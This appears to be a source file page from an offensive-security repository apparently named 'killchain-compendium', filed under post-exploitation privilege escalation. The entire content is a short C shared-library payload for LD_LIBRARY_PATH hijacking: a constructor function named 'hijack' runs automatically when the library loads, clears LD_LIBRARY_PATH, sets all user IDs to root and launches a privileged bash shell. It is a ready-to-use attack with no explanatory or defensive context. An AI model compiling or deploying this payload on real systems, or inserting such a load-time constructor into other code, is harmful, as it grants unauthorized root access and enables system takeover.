killchain-compendium/Post Exploitation/Privilege Escalation/library_path.c

11 lines
184 B
C
Raw Normal View History

2022-11-11 01:15:07 +01:00
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}